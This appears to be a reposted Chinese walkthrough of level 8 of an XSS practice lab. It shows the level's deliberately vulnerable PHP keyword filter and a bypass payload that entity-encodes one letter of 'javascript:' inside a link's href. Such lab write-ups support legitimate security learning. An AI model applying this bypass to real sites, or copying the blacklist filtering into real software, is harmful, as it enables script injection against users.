XXS level8

(1)查看PHP源代码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>

 这里来可以看到这关将前面七关的方法都给过滤咯,但是注意,添加友情链接只用到了str7,各个关键字都被过滤了,双写以及大小写都无法绕过。

(2)可以换一种编码方式进行绕过。例:将p转码

payload:

javascri&#x70;t:alert()

 回车点击“友情链接”即可。

猜你喜欢

转载自www.cnblogs.com/momoli/p/10587299.html